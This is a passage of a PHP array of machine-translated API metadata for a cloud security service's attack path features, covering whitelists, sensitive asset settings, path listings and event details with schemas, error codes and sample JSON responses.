=> 'test', ], 'WhitelistType' => [ 'description' => 'Whitelist type. Possible values:'."\n" ."\n" .'- **ALL_ASSET**: All assets'."\n" .'- **PART_ASSET**: Partial assets', 'type' => 'string', 'example' => 'ALL_ASSET', ], 'WhitelistName' => [ 'description' => 'Whitelist name.', 'type' => 'string', 'example' => 'test', ], ], ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'DataNotExists', 'errorMessage' => 'data not exist', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'staticInfo' => [ 'returnType' => 'synchronous', ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"D03DD0FD-6041-5107-AC00-383E28F1****\\",\\n \\"AttackPathWhitelist\\": {\\n \\"AttackPathAssetList\\": [\\n {\\n \\"AssetSubType\\": 0,\\n \\"AssetType\\": 1,\\n \\"InstanceId\\": \\"i-8vb0e8qdaj0yyxjo****\\\\n\\",\\n \\"RegionId\\": \\"cn-shanghai\\",\\n \\"Vendor\\": 0,\\n \\"InstanceName\\": \\"xwl\\",\\n \\"NodeType\\": \\"start\\"\\n }\\n ],\\n \\"AttackPathWhitelistId\\": \\"apwl-b33dec0acf9b42aabde032d656c0****\\\\n\\",\\n \\"LastModifiedTimestamp\\": 1743004587000,\\n \\"PathName\\": \\"ecs_get_credential_by_create_login_profile\\",\\n \\"PathType\\": \\"role_escalation\\",\\n \\"Remark\\": \\"test\\",\\n \\"WhitelistType\\": \\"ALL_ASSET\\",\\n \\"WhitelistName\\": \\"test\\"\\n }\\n}","type":"json"}]', 'title' => 'GetAttackPathWhitelist', 'translator' => 'machine', ], 'ListAttackPathWhitelist' => [ 'summary' => 'Query Attack Path Whitelist List.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'write', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'list', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '226514', 'abilityTreeNodes' => [ 'FEATUREsasAIJXMJ', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'PathType', 'in' => 'query', 'schema' => [ 'description' => 'Path type.'."\n" .'> You can call [ListAvailableAttackPath](~~ListAvailableAttackPath~~) to query the path types.', 'type' => 'string', 'required' => false, 'example' => 'role_escalation', ], ], [ 'name' => 'PathNameDesc', 'in' => 'query', 'schema' => [ 'description' => 'Path name description.'."\n" .'> You can call [ListAvailableAttackPath](~~ListAvailableAttackPath~~) to query the path name descriptions.', 'type' => 'string', 'required' => false, 'example' => 'ECS Instance Can Obtain Long-term Access Credential by Enabling Console Logon for RAM User', ], ], [ 'name' => 'WhitelistName', 'in' => 'query', 'schema' => [ 'description' => 'Whitelist name.', 'type' => 'string', 'required' => false, 'example' => 'test', ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'When performing a paginated query, set the current page number. The default value is **1**.', 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'When performing a paginated query, set the maximum number of items per page. The default value is 20.', 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '20', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language type for requests and responses. The default value is **zh**. Values:'."\n" .'- **zh**: Chinese'."\n" .'- **en**: English', 'type' => 'string', 'required' => false, 'example' => 'en', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of this request, which is a unique identifier generated by Alibaba Cloud for the request and can be used for troubleshooting and problem localization.', 'type' => 'string', 'example' => '89AD16CC-97EE-50F3-9B12-9E28E5C8****', ], 'AttackPathWhitelistList' => [ 'description' => 'List of attack path whitelists.', 'type' => 'array', 'items' => [ 'description' => 'Attack path whitelist.', 'type' => 'object', 'properties' => [ 'AttackPathWhitelistId' => [ 'description' => 'Attack path whitelist ID.', 'type' => 'string', 'example' => 'apwl-b33dec0acf9b42aabde032d656c0****', ], 'LastModifiedTimestamp' => [ 'description' => 'Timestamp of the last modification, in milliseconds.', 'type' => 'integer', 'format' => 'int64', 'example' => '1731897750000', ], 'PathName' => [ 'description' => 'Path name.', 'type' => 'string', 'example' => 'ecs_get_credential_by_create_login_profile', ], 'PathType' => [ 'description' => 'Path type.', 'type' => 'string', 'example' => 'role_escalation', ], 'Remark' => [ 'description' => 'Remark.', 'type' => 'string', 'example' => 'test', ], 'WhitelistType' => [ 'description' => 'Whitelist type.', 'type' => 'string', 'example' => 'PART_ASSET', ], 'WhitelistName' => [ 'description' => 'Whitelist name.', 'type' => 'string', 'example' => 'test', ], ], ], ], 'PageInfo' => [ 'description' => 'Page information for paginated queries.', 'type' => 'object', 'properties' => [ 'Count' => [ 'description' => 'Number of items displayed on the current page in a paginated query.', 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'CurrentPage' => [ 'description' => 'Current page number in a paginated query.', 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'PageSize' => [ 'description' => 'Number of items per page in the returned data.', 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'TotalCount' => [ 'description' => 'Total number of items.', 'type' => 'integer', 'format' => 'int32', 'example' => '49', ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'eventInfo' => [ 'enable' => false, 'eventNames' => [], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"89AD16CC-97EE-50F3-9B12-9E28E5C8****\\",\\n \\"AttackPathWhitelistList\\": [\\n {\\n \\"AttackPathWhitelistId\\": \\"apwl-b33dec0acf9b42aabde032d656c0****\\",\\n \\"LastModifiedTimestamp\\": 1731897750000,\\n \\"PathName\\": \\"ecs_get_credential_by_create_login_profile\\",\\n \\"PathType\\": \\"role_escalation\\",\\n \\"Remark\\": \\"test\\",\\n \\"WhitelistType\\": \\"PART_ASSET\\",\\n \\"WhitelistName\\": \\"test\\"\\n }\\n ],\\n \\"PageInfo\\": {\\n \\"Count\\": 20,\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 49\\n }\\n}","type":"json"}]', 'title' => 'ListAttackPathWhitelist', 'translator' => 'machine', ], 'CreateAttackPathWhitelist' => [ 'summary' => 'Create Attack Path Whitelist.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'write', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'create', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '226510', 'abilityTreeNodes' => [ 'FEATUREsasAIJXMJ', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'AttackPathAssetList', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'List of cloud product assets in the attack path.', 'type' => 'array', 'items' => [ 'description' => 'List of cloud product assets in the attack path.', 'type' => 'object', 'properties' => [ 'InstanceId' => [ 'description' => 'Cloud product asset instance ID.'."\n" ."\n" .'> You can call [ListCloudAssetInstances](~~ListCloudAssetInstances~~) to query the cloud product asset instance ID.', 'type' => 'string', 'required' => false, 'example' => 'i-8vb0e8qdaj0yyxjo****'."\n", ], 'RegionId' => [ 'description' => 'Region ID of the cloud product asset instance.'."\n" ."\n" .'> You can call [ListCloudAssetInstances](~~ListCloudAssetInstances~~) to query the region ID of the cloud product asset instance.', 'type' => 'string', 'required' => false, 'example' => 'cn-shanghai', ], 'Vendor' => [ 'description' => 'Vendor of the cloud product asset.'."\n" ."\n" .'> You can call [ListCloudAssetInstances](~~ListCloudAssetInstances~~) to query the vendor of the cloud product asset.', 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '0', ], 'AssetType' => [ 'description' => 'Type of the cloud product asset.'."\n" ."\n" .'> You can call [ListCloudAssetInstances](~~ListCloudAssetInstances~~) to query the type of the cloud product asset.', 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '0', ], 'AssetSubType' => [ 'description' => 'Subtype of the cloud product asset.'."\n" ."\n" .'> You can call [ListCloudAssetInstances](~~ListCloudAssetInstances~~) to query the subtype of the cloud product asset.', 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '0', ], 'NodeType' => [ 'description' => 'Node type, with values:'."\n" .'- **start**: Start point.'."\n" .'- **end**: End point.', 'type' => 'string', 'required' => false, 'example' => 'start', ], ], 'required' => false, ], 'required' => false, 'maxItems' => 100, ], ], [ 'name' => 'PathType', 'in' => 'query', 'schema' => [ 'description' => 'Path type.'."\n" .'> You can call [ListAvailableAttackPath](~~ListAvailableAttackPath~~) to query the path type.', 'type' => 'string', 'required' => true, 'example' => 'role_escalation', ], ], [ 'name' => 'PathName', 'in' => 'query', 'schema' => [ 'description' => 'Path name.'."\n" ."\n" .'> You can call [ListAvailableAttackPath](~~ListAvailableAttackPath~~) to query the path name.', 'type' => 'string', 'required' => false, 'example' => 'ecs_get_credential_by_create_login_profile', ], ], [ 'name' => 'WhitelistType', 'in' => 'query', 'schema' => [ 'description' => 'Whitelist type. Values:'."\n" ."\n" .'- **ALL_ASSET**: All assets'."\n" .'- **PART_ASSET**: Partial assets', 'type' => 'string', 'required' => true, 'example' => 'ALL_ASSET', ], ], [ 'name' => 'Remark', 'in' => 'query', 'schema' => [ 'description' => 'Remark information.', 'type' => 'string', 'required' => false, 'example' => 'test', ], ], [ 'name' => 'WhitelistName', 'in' => 'query', 'schema' => [ 'description' => 'Whitelist name.', 'type' => 'string', 'required' => true, 'example' => 'test', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of this request, which is a unique identifier generated by Alibaba Cloud for this request and can be used for troubleshooting and problem localization.', 'type' => 'string', 'example' => '7BC55C8F-226E-5AF5-9A2C-2EC43864****', ], 'AttackPathWhitelist' => [ 'description' => 'Attack path whitelist.', 'type' => 'object', 'properties' => [ 'AttackPathWhitelistId' => [ 'description' => 'Attack path whitelist ID.', 'type' => 'string', 'example' => 'apwl-b33dec0acf9b42aabde032d656c0****', ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"7BC55C8F-226E-5AF5-9A2C-2EC43864****\\",\\n \\"AttackPathWhitelist\\": {\\n \\"AttackPathWhitelistId\\": \\"apwl-b33dec0acf9b42aabde032d656c0****\\"\\n }\\n}","type":"json"}]', 'title' => 'CreateAttackPathWhitelist', 'translator' => 'machine', ], 'CreateAttackPathSensitiveAssetConfig' => [ 'summary' => 'Create attack path sensitive asset configuration.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'write', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'create', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '226505', 'abilityTreeNodes' => [ 'FEATUREsasAIJXMJ', ], ], 'parameters' => [ [ 'name' => 'AttackPathAssetList', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'List of cloud product assets.', 'type' => 'array', 'items' => [ 'type' => 'object', 'properties' => [ 'InstanceId' => [ 'description' => 'Cloud product asset instance ID.'."\n" ."\n" .'> You can call [ListCloudAssetInstances](~~ListCloudAssetInstances~~) to query the cloud product asset instance ID.', 'type' => 'string', 'required' => true, 'example' => 'i-8vb0e8qdaj0yyxjo****', ], 'Vendor' => [ 'description' => 'Cloud product asset vendor.'."\n" ."\n" .'> You can call [ListCloudAssetInstances](~~ListCloudAssetInstances~~) to query the cloud product asset vendor.', 'type' => 'integer', 'format' => 'int32', 'required' => true, 'example' => '0', ], 'AssetType' => [ 'description' => 'Type of the cloud product asset.'."\n" ."\n" .'> You can call [ListCloudAssetInstances](~~ListCloudAssetInstances~~) to query the type of the cloud product asset.', 'type' => 'integer', 'format' => 'int32', 'required' => true, 'example' => '17', ], 'AssetSubType' => [ 'description' => 'Subtype of the cloud product asset.'."\n" ."\n" .'> You can call [ListCloudAssetInstances](~~ListCloudAssetInstances~~) to query the subtype of the cloud product asset.', 'type' => 'integer', 'format' => 'int32', 'required' => true, 'example' => '0', ], 'RegionId' => [ 'description' => 'Region ID of the cloud product asset instance.'."\n" ."\n" .'> You can call [ListCloudAssetInstances](~~ListCloudAssetInstances~~) to query the region ID of the cloud product asset instance.', 'type' => 'string', 'required' => true, 'example' => 'cn-hangzhou', ], ], 'required' => false, ], 'required' => true, 'maxItems' => 100, ], ], [ 'name' => 'ConfigType', 'in' => 'query', 'schema' => [ 'description' => 'Configuration type. Possible values:'."\n" .'- asset_instance: Asset.', 'type' => 'string', 'required' => true, 'example' => 'asset_instance', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of this request, which is a unique identifier generated by Alibaba Cloud for this request and can be used for troubleshooting and problem localization.', 'type' => 'string', 'example' => 'ADE57832-9666-511C-9A80-B87DE2E8****', ], 'AttackPathSensitiveAssetConfig' => [ 'description' => 'Data of the attack path sensitive asset settings.', 'type' => 'object', 'properties' => [ 'AttackPathSensitiveAssetConfigId' => [ 'description' => 'ID for setting sensitive assets in the attack path.', 'type' => 'string', 'example' => 'apsac-123', ], ], ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'DataExists', 'errorMessage' => 'data exist', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'eventInfo' => [ 'enable' => false, 'eventNames' => [], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"ADE57832-9666-511C-9A80-B87DE2E8****\\",\\n \\"AttackPathSensitiveAssetConfig\\": {\\n \\"AttackPathSensitiveAssetConfigId\\": \\"apsac-123\\"\\n }\\n}","type":"json"}]', 'title' => 'Create Attack Path Sensitive Asset Settings', 'translator' => 'machine', ], 'UpdateAttackPathSensitiveAssetConfig' => [ 'summary' => 'Update the configuration of sensitive assets in the attack path.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'write', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'update', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '237330', 'abilityTreeNodes' => [ 'FEATUREsasAIJXMJ', ], 'autoTest' => true, 'tenantRelevance' => 'tenant', ], 'parameters' => [ [ 'name' => 'AttackPathAssetList', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'List of cloud product assets in the attack path.', 'type' => 'array', 'items' => [ 'description' => 'List of cloud product assets in the attack path.', 'type' => 'object', 'properties' => [ 'InstanceId' => [ 'description' => 'Cloud product asset instance ID.'."\n" ."\n" .'> You can call [ListCloudAssetInstances](~~ListCloudAssetInstances~~) to query the cloud product asset instance ID.', 'type' => 'string', 'required' => true, 'example' => 'i-2ze357b4mrkwi7tq****', ], 'Vendor' => [ 'description' => 'Vendor of the cloud product asset.'."\n" ."\n" .'> You can call [ListCloudAssetInstances](~~ListCloudAssetInstances~~) to query the vendor of the cloud product asset.', 'type' => 'integer', 'format' => 'int32', 'required' => true, 'example' => '0', ], 'AssetType' => [ 'description' => 'Type of the cloud product asset.'."\n" ."\n" .'> You can call [ListCloudAssetInstances](~~ListCloudAssetInstances~~) to query the type of the cloud product asset.', 'type' => 'integer', 'format' => 'int32', 'required' => true, 'example' => '18', ], 'AssetSubType' => [ 'description' => 'Subtype of the cloud product asset.'."\n" ."\n" .'> You can call [ListCloudAssetInstances](~~ListCloudAssetInstances~~) to query the subtype of the cloud product asset.', 'type' => 'integer', 'format' => 'int32', 'required' => true, 'example' => '4', ], 'RegionId' => [ 'description' => 'Region ID of the cloud product asset instance.'."\n" ."\n" .'> You can call [ListCloudAssetInstances](~~ListCloudAssetInstances~~) to query the region ID of the cloud product asset instance.', 'type' => 'string', 'required' => true, 'example' => 'cn-hangzhou', ], ], 'required' => false, ], 'required' => true, 'maxItems' => 100, ], ], [ 'name' => 'AttackPathSensitiveAssetConfigId', 'in' => 'query', 'schema' => [ 'description' => 'ID of the sensitive asset setting for the attack path.', 'type' => 'string', 'required' => true, 'example' => 'apsac-123', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of this request, which is a unique identifier generated by Alibaba Cloud for this request and can be used for troubleshooting and problem localization.', 'type' => 'string', 'example' => 'FD394AF6-591E-5168-8C8C-4C784736****', ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'DataExists', 'errorMessage' => 'data exist', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'staticInfo' => [ 'returnType' => 'synchronous', ], 'eventInfo' => [ 'enable' => false, 'eventNames' => [], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"FD394AF6-591E-5168-8C8C-4C784736****\\"\\n}","type":"json"}]', 'title' => 'UpdateAttackPathSensitiveAssetConfig', 'translator' => 'machine', ], 'GetAttackPathSensitiveAssetConfig' => [ 'summary' => 'Query Attack Path Sensitive Assets.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'list', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '226506', 'abilityTreeNodes' => [ 'FEATUREsasAIJXMJ', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'ConfigType', 'in' => 'query', 'schema' => [ 'description' => 'Configuration type. Possible values:'."\n" .'- asset_instance: Asset.', 'type' => 'string', 'required' => true, 'example' => 'asset_instance', ], ], [ 'name' => 'AttackPathSensitiveAssetConfigId', 'in' => 'query', 'schema' => [ 'description' => 'ID of the created attack path sensitive asset setting.', 'type' => 'string', 'required' => false, 'example' => 'apsac-123', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of this request, which is a unique identifier generated by Alibaba Cloud for this request and can be used to troubleshoot and locate issues.', 'type' => 'string', 'example' => '3956048F-9D73-5EDB-834B-4827BB48****', ], 'AttackPathSensitiveAssetConfig' => [ 'description' => 'Data of the attack path sensitive asset configuration.', 'type' => 'object', 'properties' => [ 'AttackPathAssetList' => [ 'description' => 'List of cloud product assets in the attack path.', 'type' => 'array', 'items' => [ 'description' => 'Cloud product asset in the attack path.', 'type' => 'object', 'properties' => [ 'AssetSubType' => [ 'description' => 'Subtype of the cloud product asset.', 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'AssetType' => [ 'description' => 'Type of the cloud product asset.', 'type' => 'integer', 'format' => 'int32', 'example' => '17', ], 'InstanceId' => [ 'description' => 'Instance ID of the cloud product asset.', 'type' => 'string', 'example' => 'i-bp174zui735kvf3v****', ], 'InstanceName' => [ 'description' => 'Instance name of the cloud product asset.', 'type' => 'string', 'example' => 'test', ], 'RegionId' => [ 'description' => 'Region ID of the cloud product asset instance.', 'type' => 'string', 'example' => 'cn-hangzhou', ], 'Vendor' => [ 'description' => 'Vendor of the cloud product asset.', 'type' => 'integer', 'format' => 'int32', 'example' => '4', ], ], ], ], 'AttackPathSensitiveAssetConfigId' => [ 'description' => 'ID of the attack path sensitive asset setting.', 'type' => 'string', 'example' => 'apsac-123'."\n", ], 'ConfigType' => [ 'description' => 'Configuration type. Value range: - asset_instance: Asset.', 'type' => 'string', 'example' => 'asset_instance', ], ], ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'DataNotExists', 'errorMessage' => 'data not exist', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'eventInfo' => [ 'enable' => false, 'eventNames' => [], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"3956048F-9D73-5EDB-834B-4827BB48****\\",\\n \\"AttackPathSensitiveAssetConfig\\": {\\n \\"AttackPathAssetList\\": [\\n {\\n \\"AssetSubType\\": 0,\\n \\"AssetType\\": 17,\\n \\"InstanceId\\": \\"i-bp174zui735kvf3v****\\",\\n \\"InstanceName\\": \\"test\\",\\n \\"RegionId\\": \\"cn-hangzhou\\",\\n \\"Vendor\\": 4\\n }\\n ],\\n \\"AttackPathSensitiveAssetConfigId\\": \\"apsac-123\\\\n\\",\\n \\"ConfigType\\": \\"asset_instance\\"\\n }\\n}","type":"json"}]', 'title' => 'Query Attack Path Sensitive Asset Settings', 'translator' => 'machine', ], 'ListAvailableAttackPath' => [ 'summary' => 'Query Attack Path List.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '226487', 'abilityTreeNodes' => [ 'FEATUREsasAIJXMJ', ], 'autoTest' => true, 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language type for requests and responses. Values:'."\n" .'- **zh**: Chinese'."\n" .'- **en**: English', 'type' => 'string', 'required' => false, 'example' => 'en', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of this call request, a unique identifier generated by Alibaba Cloud for the request, which can be used to troubleshoot and locate issues.', 'type' => 'string', 'example' => '1383B0DB-D5D6-4B0C-9E6B-75939C8E****', ], 'AttackPathList' => [ 'description' => 'List of attack paths.', 'type' => 'array', 'items' => [ 'description' => 'Attack path data.', 'type' => 'object', 'properties' => [ 'PathType' => [ 'description' => 'Path type.', 'type' => 'string', 'example' => 'role_escalation', ], 'PathName' => [ 'description' => 'Path name.', 'type' => 'string', 'example' => 'ecs_get_credential_by_create_login_profile', ], 'PathNameDesc' => [ 'description' => 'Description of the path name.', 'type' => 'string', 'example' => 'ECS Instance Can Obtain Long-term Access Credential by Enabling Console Logon for RAM User', ], 'PathTypeDesc' => [ 'description' => 'Description of the path type.', 'type' => 'string', 'example' => 'Privilege Escalation by Role', ], ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"1383B0DB-D5D6-4B0C-9E6B-75939C8E****\\",\\n \\"AttackPathList\\": [\\n {\\n \\"PathType\\": \\"role_escalation\\",\\n \\"PathName\\": \\"ecs_get_credential_by_create_login_profile\\",\\n \\"PathNameDesc\\": \\"ECS Instance Can Obtain Long-term Access Credential by Enabling Console Logon for RAM User\\",\\n \\"PathTypeDesc\\": \\"Privilege Escalation by Role\\"\\n }\\n ]\\n}","type":"json"}]', 'title' => 'ListAvailableAttackPath', 'translator' => 'machine', ], 'GetAttackPathEventDetail' => [ 'summary' => 'Query Attack Path Event Details.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '226499', 'abilityTreeNodes' => [ 'FEATUREsasAIJXMJ', ], ], 'parameters' => [ [ 'name' => 'EventId', 'in' => 'query', 'schema' => [ 'description' => 'Event ID.'."\n" .'> You can call [ListAttackPathEvent](~~ListAttackPathEvent~~) to query the event ID.', 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '123', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language type for request and response, default is **zh**. Values:'."\n" .'- **zh**: Chinese'."\n" .'- **en**: English', 'type' => 'string', 'required' => false, 'example' => 'en', ], ], [ 'name' => 'EventSource', 'in' => 'query', 'schema' => [ 'title' => '数据来源。默认值为**default**。取值：'."\n" .'- **caasm**：攻击面'."\n" .'- **default**：攻击路径', 'description' => '数据来源。默认值为**default**。取值：'."\n" .'- **caasm**：攻击面'."\n" .'- **default**：攻击路径', 'type' => 'string', 'required' => false, 'example' => 'default', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of this request, which is a unique identifier generated by Alibaba Cloud for the request, and can be used for troubleshooting and problem localization.', 'type' => 'string', 'example' => '7BC55C8F-226E-5AF5-9A2C-2EC43864****', ], 'AttackPathEvent' => [ 'description' => 'Details of the attack path event.', 'type' => 'object', 'properties' => [ 'DstAsset' => [ 'description' => 'Destination asset.', 'type' => 'object', 'properties' => [ 'AssetSubType' => [ 'description' => 'Subtype of the cloud product asset.', 'type' => 'integer', 'format' => 'int32', 'example' => '2', ], 'AssetType' => [ 'description' => 'Type of the cloud product asset.', 'type' => 'integer', 'format' => 'int32', 'example' => '3', ], 'InstanceId' => [ 'description' => 'ID of the cloud product asset instance.', 'type' => 'string', 'example' => 'i-bp18ifsr1tu1dx39****'."\n", ], 'InstanceName' => [ 'description' => 'Instance name.', 'type' => 'string', 'example' => 'test', ], 'RegionId' => [ 'description' => 'ID of the region where the cloud product asset instance is located.', 'type' => 'string', 'example' => 'cn-shanghai', ], 'Vendor' => [ 'description' => 'Vendor of the cloud product asset.', 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'SensitiveAssetFlag' => [ 'description' => 'Sensitive asset flag. Values:'."\n" .'- **0**: Non-sensitive asset.'."\n" .'- **1**: Sensitive asset.', 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], ], ], 'FirstTime' => [ 'description' => 'Timestamp of the first occurrence, in milliseconds.', 'type' => 'integer', 'format' => 'int64', 'example' => '1735956726000', ], 'LastTime' => [ 'description' => 'Timestamp of the latest discovery, in milliseconds.', 'type' => 'integer', 'format' => 'int64', 'example' => '1741832168000', ], 'PathEventEdgeList' => [ 'description' => 'List of path event edges.', 'type' => 'array', 'items' => [ 'description' => 'Path event edge.', 'type' => 'object', 'properties' => [ 'EdgeId' => [ 'description' => 'Edge ID.', 'type' => 'integer', 'format' => 'int64', 'example' => '123', ], 'EdgeType' => [ 'description' => 'Edge type.', 'type' => 'string', 'example' => 'role_trust_user', ], 'ElementType' => [ 'description' => 'Edge element type.', 'type' => 'string', 'example' => 'branch', ], 'EndNodeUuid' => [ 'description' => 'UUID of the end node of the edge.', 'type' => 'string', 'example' => '52d59cca9d1768bab5fe081317637990', ], 'RepairSuggestionDisplay' => [ 'description' => 'Description of the repair suggestion.', 'type' => 'string', 'example' => 'The RAM role is granted the administrator permissions and trusts the user of another Alibaba Cloud account. In this case, the current Alibaba Cloud account may be fully controlled by the trusted Alibaba Cloud account. We recommend that you delete the trust relationship. If you need to trust another Alibaba Cloud account, we recommend that you split your business requirements and follow the principle of least privilege to grant permissions across accounts in a fine-grained manner. You can also use RAM.\\n\\nIf you confirm that the role does not need to trust an Alibaba Cloud account, perform the following operations: In the RAM console, click the required RAM role. On the page that appears, view the trust policy of the role. Then, edit the Service field to delete the trust relationship. If you confirm that permissions can be reduced, perform the following operations: In the RAM console, click the required RAM role. On the page that appears, view the permissions of the role. Then, find the policy that defines the administrator permissions and revoke the policy. Attach another policy to the role based on your business requirements.', ], 'StartNodeUuid' => [ 'description' => 'UUID of the start node of the edge.', 'type' => 'string', 'example' => 'b7e1bd42c4ca47f69020f4a27b47d2b4', ], ], ], ], 'PathEventNodeList' => [ 'description' => 'List of path nodes.', 'type' => 'array', 'items' => [ 'description' => 'Path node.', 'type' => 'object', 'properties' => [ 'ElementType' => [ 'description' => 'Node element type.', 'type' => 'string', 'example' => 'branch', ], 'NodeDetail' => [ 'description' => 'Details of the node.', 'type' => 'string', 'example' => '{"assetId":0}', ], 'NodeName' => [ 'description' => 'Name of the node.', 'type' => 'string', 'example' => 'hypermatch_uploader', ], 'NodeType' => [ 'description' => 'Type of the node.', 'type' => 'string', 'example' => 'user', ], 'NodeUuid' => [ 'description' => 'UUID of the node.', 'type' => 'string', 'example' => '52d59cca9d1768bab5fe081317637990', ], 'SensitiveAssetFlag' => [ 'description' => 'Sensitive asset flag. Values:'."\n" .'- **0**: Non-sensitive asset.'."\n" .'- **1**: Sensitive asset.', 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'AiAssetFlag' => [ 'title' => 'AI资产标识。取值：'."\n" .'- **0**：非AI资产。'."\n" .'- **1**：AI资产。', 'description' => 'AI资产标识。取值：'."\n" .'- **0**：非AI资产。'."\n" .'- **1**：AI资产。', 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], ], ], ], 'PathName' => [ 'description' => 'Name of the path.', 'type' => 'string', 'example' => 'ecs_get_credential_by_create_login_profile', ], 